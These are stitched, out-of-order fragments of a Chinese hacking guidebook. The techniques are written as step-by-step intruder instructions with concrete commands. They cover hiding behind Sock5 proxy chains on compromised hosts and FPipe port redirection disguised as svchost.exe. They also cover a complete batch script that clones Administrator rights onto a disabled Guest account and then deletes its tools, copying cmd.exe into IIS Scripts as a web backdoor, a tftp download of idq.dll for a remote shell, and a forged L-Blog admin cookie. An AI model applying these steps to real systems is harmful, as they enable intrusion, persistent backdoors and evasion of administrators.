    {"text": "在 “ 主 机 地 址 ” 和 “ 端 口 ” 设 置 完 毕 后 ， 接 下 来 填 写 Sock5 代 理 的 相 关 参 数 。 单 击 “ ”按钮，在打开的参数对话框中选择“代理服务器”选项卡，在“代理服务 器”中选择 Socks V5，在“代理”中填入代理服务器的 IP 地址，在“端口”中填入代理服务器的 端口号，其中“用户名”和“密码”是 Sock5 代理服务器的身份验证，一般来说这里不用填写， 因为通常使用的都是免费的 Sock5 代理服务器。"},
    {"text": "此时，S-Term 将实现如图 7-52 所示 的跳板网络，等待一段时间（具体时间与网速有关）后，便会看见肉鸡跳板的 Telnet 登录界面， 如图 7-59 所示。 在图 7-59 所示的登录界面中，填入肉鸡跳板的管理员账号和密码，便可以实现 Telnet 登录。"},
    {"text": "397 黑客攻防实战详解 图 7-59 图 7-60 3．实例二：多台 Sock5 代理服务器的跳板网络 通过实例一，可以了解到入侵者如何通过只有一台 Sock5 代理服务器的跳板网络来实现入侵 中的隐身。 但是在实际中，入侵者往往不满足只有一台 Sock5 代理服务器所提供的安全性，他们 总是希望跳板越多越好，因为跳板越多，反跟踪的难度就越大。"},
    {"text": "不过，这时候就会有新的问题出 现，由于绝大多数远程登录工具都只能使用一级 Sock5 代理，不能把多台代理服务器一并使用。 那么，如何才能把两个或两个以上的 Sock5 代理“拴”在一起提供给登录工具使用呢？"},
    {"text": "虽然可以使用 SockServerCfg.exe 398 第 7 章 隐藏技术 安 装 Sock5 代 理服 务，但 由于 该工具 是图 形界面 工具 ，故一 般只 在本地 使用 ，比如 使 用 SockServerCfg.exe 为本地主机安装代理服务，或者设定跳板网络中所经过的代理跳板等。"},
    {"text": "总之， 通过该工具，入侵者就能够把代理服务器“拴”在一起，形成一个跳板网络，如图 7-61 所示。 在 图 7-61 所示的攻击模型中，入侵者的本地计算机通过代理跳板连接到远程主机／服务器。"},
    {"text": "入侵者 跳板一 跳板 N 远程主机／服务器 普通数据 加密数据 普通数据 （1.1.1.1） （2.2.2.2） （ n . n . n . n ） （ m . m . m . m ） 图 7-61 下面介绍该工具的功能以及使用方法。"},
    {"text": " Debug[新的端口]：通过该参数，程序的运行直到接受（Ctrl+C）的控制，此时该机器就 在[新的端口]进行 Sock5 代理服务，还可以作为其他代理跳板的中间跳板。"},
    {"text": "此外，在安装并设置好代理服务器后，sksockserver 代理服务将按照系统服务的方式运行，可 以使用系统命令对 sksockserver 代理服务进行启动和停止。"},
    {"text": "399 黑客攻防实战详解  设置本地 Sock5 代理服务器的 IP 地址过滤，令该本地代理服务只能为本地计算机服务。  设置代理服务器网络中所经过的代理跳板，把众多 Sock5 代理服务器“拴”在一起。 有的读者可能会产生疑问，入侵者为什么要给本地计算机安装 Sock5 代理服务呢？ 这样岂不 是把入侵者自己的计算机变成了 Sock5 服务器，随便让别人来使用吗？"},
    {"text": "通过图 7-61 可以看出，在 Snake 代理跳板网络中，本机与第一个跳板之间传输的数据并没 有经过任何加密，这样就很容易在跳板一上暴露出入侵者传输数据的真实内容，入侵者为了使自 己更加安全，便把本机做成跳板一，这样设置后，本机传输出去的数据就是加密的了，从而实现 了跳板网络中传输的数据全部经过加密。"},
    {"text": "前面已经介绍过，制作肉鸡跳板需要使用 Snake 跳板工具中的 sksockserver.exe。 方法如下： 首先，通过 copy 命令将工具 sksockserver.exe 上传至肉鸡内部并改名为 sk.exe，命令执行过程如图 7-63 所示。"},
    {"text": "图 7-64 执行图 7-64 所示的命令后，入侵者便把一个肉鸡改造成了 Sock5 代理服务器，而且是能够提 400 第 7 章 隐藏技术 供数据加密传输的 Sock5 代理服务器。"},
    {"text": "首先，打开 工具 SockServerCfg.exe，在“服务参数设置”选项卡中填入服务名称，服务描述，在“EXE 路径” 中填入“SkSockServer.exe”的路径或单击右侧的“ ”按钮进行选择，在“P 端口”中填入 Sock5 服务的端口号（端口号可以随意设置，这里使用 500 号端口，启动服务后本机就使用 500 号端口 来提供 Sock5 服务了），最后选择 Sock5 代理服务的启动方式，这里选择“3-Man”，即“手动启动 方式” 。"},
    {"text": "当“服务参数设置”填好后，下面选择“客户连接设置”选项卡来设置允许使用本机 Sock5 代理服务的计算机。 首先，在最下面的“IP”栏中填入“127.0.0.1” （ “127.0.0.1”是本机回溯地址）， 在“M 掩码”中填入“255.255.255.255”，在右侧的“E 允许”中打钩，然后单击“ ”按钮 把本机添加到“客户端”列表中。 最后，按照同样的方法，把 IP 地址为“255.255.255.255”，掩码 为“255.255.255.255”加入客户端列表，不过这次不要选择“E 允许”。"},
    {"text": "首先假设入侵者已经制作了若干 Sock5 代理服务器，而且入侵者的本地计算机也安装有 Sock5 代理服务，下面就通过工具“SockServerCfg”把这些代理服务器“拴”起来。"},
    {"text": "首先，打开 SockServerCfg，选择“经过的跳板”选项卡，然后在“经过的跳板”选项卡中依 次填入跳板的 IP 地址和端口号，并选择“E 允许”，如图 7-67 所示。"},
    {"text": "工具“SkServer GUI”没有和 sksockserver.exe 放在一起，是一个独立的图形工具，基本用法和 SockServerCfg 一样， 不同的是 SkServerGUI 本身就是一个 Sock5 代理，因此在使用该工具的时候就不必再为本机安装 Sock5 代理。"},
    {"text": "401 黑客攻防实战详解 图 7-67 图 7-68 在图 7-68 所示界面中，首先选择“配置 F”→“客户端”来设定哪些计算机可以使用本机 Sock5 代理服务，与“SockServerCfg”的设置相同，只允许本地计算机使用本地 Sock5 代理服务。"},
    {"text": "接下来，通过“配置 F”→“运行选项”设置服务运行参数，在“服务运行端口 P”设置服务 端口号，代表本地提供 Sock5 代理服务的端口号，然后在“允许作为 Sock5 代理”前打“钩”，设 置好后如图 7-70 所示，然后单击“OK”按钮回到主界面。"},
    {"text": "图 7-69 图 7-70 最后通过“配置 F”→“保存设置”保存前面所设参数，通过“命令 c”→“开始 s”启动本 地服务并形成代理跳板网络，实现的攻击模型如图 7-71 所示。"},
    {"text": "入侵者 Sock5 代理 Sock5 代理 肉鸡跳板 远程主机／服务器 （1.1.1.1） （2.2.2.2） （3.3.3.3） （4.4.4.4） （5.5.5.5） 跳板网络 图 7-71 步骤 4 登录肉鸡跳板。 打开 S-Term，填好最后一个肉鸡跳板的 IP 地址和登录端口，注意，这个肉鸡跳板最好不 要属于刚才提供 Sock5 代理的服务器。"},
    {"text": "图 7-72 图 7-73 从图 7-73 返回的结果可见，直接与肉鸡 210.□.□.112 建立 Telnet 连接的是 210.□.□.29 这台 Sock5 代理服务器，从而证明图 7-71 所示的攻击模型可以为入侵者实现入侵中的隐身。 前面介绍了入侵者如何通过 Sock5 代理服务器实现入侵中的隐身。 除了使用 Sock5 代理之外， HTTP 代理服务器也是入侵者经常使用的代理服务器。"},
    {"text": "HTTP 代理是专门用来为基于 HTTP 协议的 通信软件提供数据包转发的服务器，IE 浏览器就属于这类通信软件。 通过 HTTP 代理服务器，可 以使 IE 用户在浏览网页的时候不留下真正的 IP 地址，这非常适合于 Unicode 漏洞入侵。"},
    {"text": "此外，也 可以通过 Sock5 代理服务器间接实现 HTTP 代理服务的功能。 也就是说，可以通过 Sock5 代理服 务器为 IE 浏览器提供 HTTP 代理，不过这需要一个软件“SocksCap”来把 Sock5 代理转换成 HTTP 代理。"},
    {"text": "下面对前面的介绍做一 下总结：入侵者可以通过两种途径来获取 Sock5 代理服务器，一种是通过 Sock5 代理公布器，另 一种是通过手工敲入命令的方法在肉鸡上安装 Sock5 代理服务。 通过实例可见，通过 Sock5 代理 公布器来获得 Sock5 代理的方法非常简单，容易获得最新公开的代理服务器。 此外，这种方法的 最大的优点是这些公开的 Sock5 代理每时每刻都有很多人使用，这就不容易让管理员从庞大的用 户 IP 地址记录中找到入侵者的 IP 记录，这使得入侵者实现的隐身效果很好，但致命的缺点是连 接速度太慢。"},
    {"text": "7.3.4 端口重定向 入侵者除了通过前面介绍的“远程控制”、“代理转发”来实现入侵中的隐藏外，还可以通过 一种更加灵活，更加实用的端口重定向技术来实现。 下面就来介绍一下入侵者是如何使用端口重 定向工具来实现入侵中的隐身。"},
    {"text": "该工具的命令格式为： FPipe [-hv?] [-brs <port>] IP -?/-h 帮助 -c 指定最大连接数目。 如果不设置此参数，则默认最大连接为 32 403 黑客攻防实战详解 -l 监听端口 -r 远程 TCP 端口 -s 本地端口 -v 详细模式 例如，在 MS-DOS 中键入命令“fpipe -l 80 -s 81 -r 82 111.111.111.111”后，本地计算机打开 80 号端口进行监听，当监听到 80 号端口有连接请求时，立即通过本机 81 号端口连接 IP 地址为 “111.111.111.111”主机的 82 号端口。"},
    {"text": "入侵者 FPipe 肉鸡 肉鸡跳板 远程主机／服务器 （ （ 192.168. 1.1.1.1） （192.168.0.2） （4.4.4.4） 245.133） 跳板网络 图 7-74 步骤 1 上传工具“fpipe.exe”到 IP 地址为“192.168.245.133”主机中，并改名为 svchost.exe 后隐藏于 tasks 目录中。"},
    {"text": "图 7-75 当得到如图 7-75 所示的命令行后，在其中键入命令为肉鸡添加计划任务来实现端口转向，此 时端口转向命令为“fpipe –l 1000 –s 1564 –r 23 192.168.0.2”，表示把发往肉鸡 1000 端口的请求转 向到 IP 地址为 192.168.0.2 主机的 23 号端口，命令执行过程如图 7-76 所示。"},
    {"text": "接下来，在本地主机 MS-DOS 中键入命令 “telnet 192.168.245.133 1000”表示登录到肉鸡 1000 端口，如图 7-77 所示。 该命令执行后，当本 地机登录到肉鸡 192.168.245.133 的 1000 端口时，肉鸡 192.168.245.133 中的 FPipe 会将此请求重 新定向到 IP 地址为 192.168.0.2 主机的 23 端口，即通过 192.168.245.133 的端口重定向与 192.168.0.2 建立 Telnet 连接。"},
    {"text": "为 了更加长久地占有他们的“战果” ，入侵者会使用各种各样的方法，他们会在系统中建立后门账号， 会在系统中添加漏洞，会在系统中种植木马……，进而牢牢地掌握“战果”的控制大权。"},
    {"text": "管理员们也许会遇到这种情况：当察觉计算机系统发生入侵后，即使立即给系统打补丁、修 改管理员账号和密码，并彻底进行病毒扫描，也还是逃脱不了被远程控制的厄运。"},
    {"text": "从入侵切入点的角度来看，入侵者 可以通过“账号”、“漏洞”及“木马”这三个切入点实现入侵。 按照同样的道理，在各种各样的 后门中，一般也不外乎“账号后门”、“漏洞后门”和“木马后门”这三大类。"},
    {"text": "通过本章的介绍，能够了解到以下后门的制作方法：  账号后门  漏洞后门  木马后门 此外，在本章的 8.4 节中，再来介绍一下入侵者如何擦掉留在远程主机／服务器上的入侵 痕迹。"},
    {"text": "在前面曾经介绍过，入侵者为了能够永久控制远程主机／服务器， 他们会在第一次入侵成功后便马上在远程主机／服务器内部建立一个备用的管理员账号，这种账 号就是最简单的“后门账号”。"},
    {"text": "想像一下，如果系统中存在这样一个账号：无论使用何种方法查看属性，该账号都只拥有 user 组的权限，但实际上该账号拥有管理员权限，那么会有管理员怀疑该账号是后门账号吗？"},
    {"text": "恐怕大多数管理员不会认为 入侵者能够利用“已被禁用的 Guest 账号”来实现远程控制吧。 实际上，入侵者确实能够使用“已 被禁用的 Guest 账号”实现远程登录，而且能够通过该账号执行管理员权限的命令。"},
    {"text": "那么，克隆出来的账号与直接赋予 管理员权限的账号究竟有什么不同呢？ 简单来说，直接赋予管理员权限的账号，可以使用“命令” 或“账号管理”来看出该账号的真实权限，而被克隆出来的账号却无法被上述方法直接查出。"},
    {"text": "2．实例 下面通过实例来介绍入侵者如何通过“被禁用的 Guest 账号”实现远程控制。 通过“被禁用 的 Guest 账号”实现远程控制是通过修改注册表中的 SAM 来实现的。"},
    {"text": "命令格式如下： psu [参数选项] 参数选项： -p <要运行的文件名> -I <要 su 到的进程号> 该选项可选，默认 su 到的进程为 system。 比如： psu -p C:\\winnt\\notepad.exe psu -p C:\\winnt\\notepad.exe -i 1234 psu -p \"C:\\winnt\\system32\\cmd.exe /K\" 制作步骤：打开注册表编辑器、克隆账号、禁用账号、使用禁用账号登录。"},
    {"text": "由于 SAM 关系到整个系统中账号的安全问题，因此，在一些 Windows 版本中即使拥有管理 员权限也不能对注册表中的 SAM 进行访问。 比如，通过运行“regedit”命令打开注册表是看不到 SAM 中各个账号的内容的，如图 8-1 所示。 图 8-1 407 黑客攻防实战详解 因此，入侵者需要使用工具“PSU.exe”把当前的管理员“越权”为 System 权限，进而访问 注册表中的 SAM。"},
    {"text": "过程如下：首先，使用组合键“Ctrl+Alt+Del”来打开任务管理器，然后在其 中找到 System 进程，并记下该进程的 PID，如图 8-2 所示，本例中获得 System 的 PID 为 8。 图 8-2 当得到 System 进程的 PID 后，接下来在 MS-DOS 中键入命令“psu -p regedit –i <system 进程 的 PID>”打开注册表编辑器，由于得到 System 进程的 PID 为 8，因此将该命令修改为“psu -p regedit –i 8” ，执行过程如图 8-3 所示。"},
    {"text": "图 8-3 通过图 8-3 中所示方法，以 System 权限打开的注册表编辑器如图 8-4 所示，此时可以看到 SAM 的内容。 在图 8-4 所示的注册表编辑器中，找到[HLM\\SAM\\SAM\\Domains\\Account\\Users\\ Names]，然 后展开 User 键，如图 8-5 所示。"},
    {"text": "过程如下：首先在 Users\\Names 下，找到并单击“Administrator”，查看 该账号所对应的“账号配置键” 。 如图 8-6 所示， “Administrator”所对应的“账号配置键”为“ox1f4”。 图 8-6 然后在“User”下找到“ox1f4”这个键，也就是“000001F4”键，如图 8-7 所示。 图 8-7 409 黑客攻防实战详解 选中“000001F4”后，在右侧的窗后中双击名称为“F”的键值项，之后会打开一个键值编辑 窗口，该窗口中的数据中就含有 Administrator 的权限的信息，这里暂时把“F”的键值项称之为“权 限配置键”，然后通过“全选” 、“复制”把这些数据拷贝下来，复制方法如图 8-8 所示。 最后，通过同样的方法找到账号“Guest”对应的“账号配置键”为 000001F5，然后双击 “000001F5”键中名称为“F”的键值项。 在打开的键值编辑窗口中，通过“全选”、“粘贴”把该 窗口中的数据替换为 000001F4 键中的数据，替换过程如图 8-9 所示。"},
    {"text": "账户启用 No 本地组会员 *Guests 全局组成员 *None 410 第 8 章 留后门与清脚印 图 8-11 然后，在 MS-DOS 中键入“net localgroup administrators”命令来查看管理员组的成员列表，该命 令的回显结果如图 8-12 所示。"},
    {"text": "如图 8-14 所示，通过 这种方法也只能看出 Guest 账号属于“Guests 组”。 而且，在图形方式下通过计算机管理查看本地管理员组成员，也没有找到 Guest 账号，如图 8-15 所示。"},
    {"text": "步骤 4 使用禁用的 Guest 账号登录。 既然使用任何方法都看不出 Guest 账号拥有管理员权限，而且还是被禁用的账号，那么入侵 者能够使用该账号成功登录么？"},
    {"text": "注销当前账号后，使用 Guest 账号进行登录，登录成功并发现登录后该 Guest 的桌面与本机 Administrator 的完全相同。 这说明后门账号制作成功，下面通过建立新管理员权限账号的方法来 验证该 Guest 账号确实拥有管理员权限，账号建立过程如图 8-16 所示。 图 8-16 从图 8-16 的回显可知，Guest 账号确实可以执行建立管理员权限账号的操作。"},
    {"text": "8.1.2 命令行方式下制作后门账号 通过前面的介绍，了解了入侵者如何在图形界面中制作后门账号，以及克隆账号的原理。 但 是在实际中，入侵者往往很难获得远程主机／服务器的图形界面控制方式，那么他们如何通过命 令行方式来实现克隆账号呢？ 下面就通过一个实例来介绍如何在命令行方式下制作后门账号。 实例：Telnet 环境下后门账号的制作。 412 第 8 章 留后门与清脚印 首先假设入侵者已经打开了远程主机／服务器的 Telnet 服务，下面介绍入侵者如何在 Telnet 环境下制作后门账号。"},
    {"text": "reg.exe 是命令行下编辑 注册表的工具，功能十分强大，可以备份、修改、拷贝指定键的键值，这里用来实现注册表中 SAM 的修改操作。 使用方法：REG <操作> <参数表> 参数说明：<操作> [ QUERY |ADD|UPDATE|DELETE|COPY| SAVE| BACKUP | RESTORE | LOAD| UNLOAD ] 使用下面的方法得到指定操作的帮助： REG <操作>/? 例如： REG QUERY /? REG ADD /? REG UPDATE /? REG DELETE /? REG COPY /? REG SAVE /? REG BACKUP /? REG RESTORE /? REG LOAD /? REG UNLOAD /? 其中注册表中的相应的根键用 [ HKLM | HKCU | HKCR | HKU | HKCC ]来代表。"},
    {"text": "命令行方式并不像图形界面那样直观、方便，往往在图形界面中一个简单操作，在命令行中 需要使用许多命令来完成，不过入侵者可以通过编写 BAT 文件来简化命令的一条条输入。"},
    {"text": "并在 zhdoor.bat 文件中写入命令“psu -p \"regedit /s delf.reg\" -i %1” ，其中参数“%1”用命令后的第一个参数取代，代表 System 进程的 PID。"},
    {"text": "该任务通过工具 reg.exe 与工具 psu 配合来完成，在 BAT 中写入下列命令。 psu -p \"reg copy hklm\\SAM\\SAM\\Domains\\Account\\Users\\000001F4\\fhklm\\SAM\\ SAM\\ Domains\\Account\\Users\\000001F5\\f\" -i %1 参数说明： “copy”：表示 reg.exe 进行注册表键值的拷贝操作。"},
    {"text": "“hklm\\SAM\\SAM\\Domains\\Account\\Users\\000001F4\\f”：表示 Administrator 的“权限配置键” 在注册表中的路径。 “hklm\\SAM\\SAM\\Domains\\Account\\Users\\000001F5\\f”表示 Guest“权限配置键”在注册表中 的路径。"},
    {"text": "在 zhdoor.bat 中加入如下命令： net user guest /active:yes net user guest 123456789 net user guest /active:no ④ 删除过渡文件。 为了不引起远程主机／服务器的管理员注意，需要把刚才使用工具都删除掉，在 zhdoor.bat 文件中加入如下命令： del delf.reg del reg.exe del psu.exe del zhdoor.bat 通过以上过程，编写完毕的 zhdoor.bat 文件内容如下： psu -p \"regedit /s delf.reg\" -i %1 psu -p \"reg copy hklm\\SAM\\SAM\\Domains\\Account\\Users\\000001F4\\fhklm\\SAM\\ SAM\\Domains\\Account\\Users\\000001F5\\f\" -i %1 net user guest /active:yes net user guest 123456789 net user guest /active:no del delf.reg del reg.exe del psu.exe del zhdoor.bat 步骤 2 查看远程主机／服务器中 System 进程的 PID。"},
    {"text": "图 8-19 在图 8-19 中找到 System 进程的 PID 为“8”号。 一般来说，Windows 2000 中 System 进程的 PID 都是 8 号，如果远程主机／服务器的操作系统是 Windows 2000 的话，也可以忽略此步。"},
    {"text": "实例：远程制作后门账号。 （1）使用工具  CA.exe：远程克隆账号工具。  CCA.exe：远程查看克隆账号工具，可以查出指定账号是否被克隆。 （2）CA 使用方法：ca.exe \\\\IP <账号> <密码> <克隆账号> <密码> 参数说明 <账号>： 被克隆的账号（拥有管理员权限） <密码>： 被克隆账号的密码 416 第 8 章 留后门与清脚印 <克隆账号>： 克隆的账号（克隆前必须存在该账号） <密码>： 设置克隆账号的密码 例如：在 MS-DOS 中键入命令“ca.exe \\\\111.111.111.111 Administrator \"\" abc 123456789”。 该命 令在本地执行，表示把 IP 地址为“111.111.111.111”主机中的 abc 账号克隆成 Administrator 权限。 （3）CCA 使用方法：cca.exe \\\\IP <账号> <密码> 参数说明： <账号>： 被查看的账号 <密码>： 账号的密码 例如：在 MS-DOS 中键入命令“cca.exe \\\\111.111.111.111 Administrator \"\"”。 该命令在本地执 行，用来查看 IP 地址为“111.111.111.111”主机上 Administrator 账号是否被克隆。"},
    {"text": "从图 8-26 的回显可以看出，错误出现在“Processing ....”这一过程，根据经验，造成这种失 败的原因一般是远程主机／服务器中/%systemroot%/system32 目录中缺少“msvcp60.dll”文件。 遇 到这种情况时，入侵者可以把本机/%systemroot%/system32 目录中的 msvcp60.dll 上传至远程主机 中的/%systemroot%/system32 目录来解决，上传过程如图 8-27 所示。"},
    {"text": "为了让“后门账号”更加隐蔽，不会被管理员轻易看出，入侵者还需要把该 Guest 账号禁用。 这样一来，入侵者便可以在以后的入侵过程中使用该被禁用的 Guest 账号实现远程控制了。 这里 通过 psexec.exe 来禁用远程主机／服务器上的 Guest 账号。"},
    {"text": "在步骤二已经成功地把 Administrator 的权限克隆到了 Guest 账号上，下面就来验证这一克隆 结果。 使用与 CA 配套的工具 CCA.exe 来验证，过程如下：在 MS-DOS 中键入“cca \\\\192.168.245.133 administrator \"\"”命令查看 192.168.245.133 主机上的 Administrator 账号是否被克隆，输入的命令 如图 8-29 所示。 图 8-29 418 第 8 章 留后门与清脚印 回车后等待一会，便会获得 Administrator 账号对应的克隆账号列表，如图 8-30 所示。 图 8-30 从图 8-30 所示的回显“[Guest] AS SAME AS [Administrator]”可知 Administrator 账号已经被 Guest 账号克隆。 需要补充一点，如果使用 CCA 查看克隆账号过程中也出现“Processing ....ERROR”，那么同 样是远程主机／服务器的/%systemroot%/system32 目录里缺少“msvcp60.dll”文件，此时把本机 “msvcp60.dll”文件拷贝过去便可以解决。 为了进一步说明后门账号已经克隆成功，下面通过 psexec.exe 来验证该 Guest 账号是否具有管 理员权限。 在 MS-DOS 中键入命令“psexec \\\\192.168.245.133 -u guest -p \"12345678989\" cmd.exe”， 成功获得远程主机／服务器的命令行如图 8-31 所示。"},
    {"text": "2．问：在编写克隆账号 BAT 文件的时候，为什么不直接使用 reg.exe 来删除目标键值项，而 要通过编写 reg 文件，然后把 reg 文件导入来间接删除呢? 答：这是因为 reg.exe 在删除指定键值项的时候会另外弹出一个窗口来询问“是否删除”，而 使用 Telnet 登录的时候是看不到该弹出窗口的，也就不能对指定键值项进行删除，所以要采用编 写 reg 文件然后导入的方法来间接实现这一目的。"},
    {"text": "实际上，入侵者不仅能够通过漏洞实现最初的入 侵，还能够通过制造漏洞来留下系统后门。 本节就来介绍一下入侵者是如何为这些服务器手工添 加漏洞留下系统后门的。"},
    {"text": "8.2.1 制造 Unicode 漏洞 第 4 章详细地介绍了 IIS 服务器 Unicode 漏洞的原理。 从介绍中可以知道，IIS 的 Web 服务器 在正常情况下是不允许客户端访问 Web 根目录以外的路径，而 Unicode 漏洞恰恰可以突破这种路 径的限制，从而导致客户端能够通过构造 Unicode 字符来非法访问服务端系统文件夹下的 cmd.exe， 进而导致客户端可以通过 IE 浏览器在服务器上执行命令。 通过以上分析，可以得出这样一个结论，利用 Unicode 漏洞的目的只是为了能够访问到服务 器中的 cmd.exe。 可以想像，如果入侵者把系统中的 cmd.exe 拷贝到 Web 服务器可以合法访问的 路径下，也就构造出一个和 Unicode 漏洞功能完全等同的“大门”，能够让入侵者们自由出入。 简 单来说，通过上述的方法，入侵者能够把原本不存在 Unicode 漏洞的服务器改造成与存在 Unicode 漏洞一样的效果，所以可以把这种方法称之为“制造 Unicode 漏洞”。 下面通过一个实例来说明“制 造 Unicode 漏洞”的过程。"},
    {"text": "在默认情况下，IIS 服务器根目录的路径为 C:\\Inetpub\\，因此可以先在该路径下试 试看，或者使用命令 dir <文件名> /f 来定位 IIS 服务器的根目录，其中参数<文件名>是该 Web 服务器中存在的文件，命令 dir 和/f 配合使用表示查找指定文件，并列出该文件的路径，至于参数 <文件名>如何获得，可以通过浏览该服务器的网站得到，也可以使用几个默认的文件名，这些在 第 4 章都已经介绍过了，这里就不再赘述。 420 第 8 章 留后门与清脚印 通过上述过程，假设远程服务器的 IIS 根目录是 C:\\Inetpub\\。 步骤 2 拷贝 cmd.exe 到 IIS 目录中。 为了能够通过 IE 浏览器访问到程序 cmd.exe，入侵者需要把服务器中的 cmd.exe 拷贝到 IIS 的 根目录中，因为在默认情况下，IIS 根目录可以被 Web 服务器访问。 在 IIS 根目录中，Scripts 目录 是专门用来存放脚本文件的，也就是说在默认情况下，IIS 允许客户端执行这里的程序，这本来是 为了给客户端提供交互式服务而建立的，然而却恰恰被入侵者所利用。 下面就把该服务器 winnt\\system32 目录中的 cmd.exe 拷贝到 Scripts 目录中，并改名为_iis.exe， 目的是迷惑该服务器的管理员。"},
    {"text": "关于如何 隐藏文件前面已经介绍过了，这里使用其中的第一个方法，通过 attrib 命令为文件添加“系统”、 “隐藏”属性，过程如图 8-34 所示。"},
    {"text": "首先打开 IE 浏览器，然后在 IE 浏览器的地址栏中输入“http://192.168.245.137\\Scripts\\ _iis.exe?/c+dir+ C:\\” ， 得到的回显如图 8-35 所示。"},
    {"text": "虽然通过该漏洞入侵者并不能直接 获得管理员权限，但是基于这种漏洞的入侵确实是可怕的，一旦某个服务器被留下这个后门，除 了直接找出被“改容换貌”的 cmd.exe，其他方法是无法发觉的，因为 cmd.exe 不会被杀毒软件认 为是有害程序。"},
    {"text": "由于通过.idq 漏洞能够拿到远程服务器的管理员权限，因此基于 其他漏洞的入侵往往需要借助.idq 漏洞才能成功拿到管理员的权限。 即使远程服务器原本并不存 在.idq 漏洞，入侵者也能通过一些方法来制造这一漏洞。 制造.idq 漏洞不仅仅在制作后门中有重要 的价值，在入侵的过程中也发挥了巨大的作用。 在第 4 章中已经介绍了如何制造.idq 漏洞来配合 Unicode 漏洞入侵，这里简单复习一下漏洞的制作以及利用过程。 步骤 1 把 idq.dll 传入远程服务器的 Scripts 目录中来制作漏洞后门。"},
    {"text": "首先，在本地运行 TFTP 服务器，把 idq.dll 文件拷贝到该 TFTP 服务器的根目录下。 然后在 远程服务器上执行命令“tftp+192.168.245.137+get+idq.dll+ C:\\Inetpub\\Scripts\\idq.dll”表示把 idq.dll 拷贝到 IIS 服务器根目录的 Scripts 目录中。"},
    {"text": "在本地 MS-DOS 中键入命令“ispc 192.168.245.137/scripts/idq.dll”与远程服务器建立连接。 如 果连接建立成功，那么会在本地 MS-DOS 窗口中得到“C:\\winnt\\system32>”这个命令提示符，这 里就是远程服务器的 Shell，在该 Shell 中输入的命令将会在远程服务器上执行。"},
    {"text": "此外，还有一些木马相当于一 个嵌入在 Windows 系统内部的微型系统，通过与木马的连接，入侵者可以不经过任何认证而直接 控制 Windows 系统，从而实现远程控制。"},
    {"text": "因而在实际的入侵中，入侵者除了使用木马进行入侵外， 还经常使用木马制作系统后门。 下面来介绍几款常见的木马程序，以及如何使用这些木马程序在 已经被攻破的系统中留下后门。"},
    {"text": "它 有自己的专用的命令、扩展了 Telnet 服务、集成文件传输、FTP 服务器、键盘记录、Sniffer（只对 422 第 8 章 留后门与清脚印 Windows 2000 系统有效） 、端口转发等功能，还可以实现反向连接，可以通过参数设置来实现木 马随系统启动或只作为普通进程。"},
    {"text": "4.4.2 Cookie 欺骗漏洞 Cookie 欺骗漏洞是由于系统对 Cookie 信息验证不严造成的。 Cookie 欺骗漏洞很容易被设计者 忽略，因此网上有很多的信息发布系统都存在这个漏洞。 本节中将以 L-Blog V1.06 XpFox 修改版为例，介绍 Cookie 欺骗漏洞。 1．实例：利用 Cookie 欺骗漏洞获取管理员权限 L-Blog 系统是 Loveyuki 编写的 Blog 系统，是目前比较流行的一种 Blog 系统，其操作简单、 使用方便，目前最新的免费版本为 L-Blog v1.08 SE final 版。"},
    {"text": "246 第 4 章 基于服务器软件漏洞的入侵 步骤 1 漏洞的检测 使用搜索引擎搜索 Powered by L-Blog，例如使用百度搜索引擎搜索 Powered by L-Blog，搜索 结果如图 4-165 所示。"},
    {"text": "首先下载一个 L-Blog 系统，解压后的目录如图 4-166 所示。 图 4-166 本例中需要查看管理员标识，因此需要查看数据库，注意到有一个文件夹名为 blogdata，很可 能与数据库有关，打开后如图 4-167 所示。 247 黑客攻防实战详解 图 4-167 有一个名为 Blog 的 Access 数据库文件，打开后如图 4-168 所示。 图 4-168 从表名分析可以看出表 blog_Member 很可能就是存放用户信息的表，打开后如图 4-169 所示。"},
    {"text": "图 4-169 由于是刚刚下载的下来的系统，尚未进行配置和修改，因此其中只有一个默认的管理员账号， 将滚动条向右拉动，发现有一项属性名为 mem_Status，如图 4-170 所示，根据其中的显示可以确 定管理员标识为 SupAdmin。"},
    {"text": "图 4-170 248 第 4 章 基于服务器软件漏洞的入侵 步骤 3 注册用户 本例中，已经获知局域网中 192.168.232.131 对应的主机使用 L-Blog V1.06 XpFox 修改版，开 启了 Blog 服务。"},
    {"text": "图 4-175 250 第 4 章 基于服务器软件漏洞的入侵 在用户登录中输入刚刚注册的用户名和密码，本例中输入的用户名为 squirrel，密码为 sqlssn， 登录成功后显示如图 4-176 所示。"},
    {"text": "图 4-177 注意到右上方显示的 Cookies 信息，本例中的 Cookie 为 ASPSESSIONIDCQSTCSAS = JPLJCLGDOIGKNAFINCDBJHOO;loveyuki=memPassword=0247BE6375CEB2B18D060CE428C6B F36&memStatus=Member&memName=squirrel。 Cookie 中 memStatus=Member 这样的语句，其中 Member 代表普通用户，在本例开始的系统 分析中得到 SupAdmin 为管理员标识，这里将其改为 memStatus=SupAdmin，Cookies 变为 ASPSESSI ONIDCQSTCSAS=JPLJCLGDOIGKNAFINCDBJHOO; loveyuki= memPassword= 0247BE6375CEB2 B18D060CE428C6BF36&memStatus=SupAdmin&memName=squirrel。 单击窗口中的“设置自定义的 Cookie”图标按钮 ，将更改后的 Cookie 复制粘贴到 Cookies 栏中，显示如图 4-178 所示。 保持“设置自定义的 Cookie”按钮为按下状态，更改当前的用户状态后即会出现登录管理平 台的入口链接，例如单击 IP 查询后，进入如图 4-179 所示的界面中。 251 黑客攻防实战详解 图 4-178 图 4-179 再单击“日志首页”后，会有如图 4-180 的显示。"},
    {"text": "图 4-181 这时只需要将 IE 地址栏中的地址拷贝到 Cookies & Inject Browser.exe 中即可。 第二种情况是在 Cookies & Inject Browser.exe 直接完成调用，显示如图 4-182 所示。"},
    {"text": "4.4.3 常见问题与解答 1．问：在更改上传文件类型的限制中可以增加允许上传 ASP 文件吗？ 答：可以，但是目前大多数的网络信息发布系统在系统开发时即限制或屏蔽了 ASP 文件的上 传，这么做是从安全性的角度考虑的，但一般并不屏蔽 ASA 文件。 由于 ASA 文件与 ASP 文件执 行后效果相同，因此建议修改的时候增加允许 ASA 文件上传，而不是 ASP 文件。"},
    {"text": "4.5 Serv-U 漏洞（一） Serv-U 是由 Rhino Software 开发的优秀的 FTP 服务器软件，由于其操作简单，设置方便而深 受欢迎，Serv-U 是目前国内应用最多的 FTP 服务器软件。"},
    {"text": "Serv-U 引擎（ServUDaemon.exe）是一个常驻后台 的程序，负责处理来自各种 FTP 客户端软件的 FTP 命令，同时负责执行各种文件传送的软件。 Serv-U 用户界面（ServUAdmin.exe）负责与 Serv-U 引擎之间的交互。"},
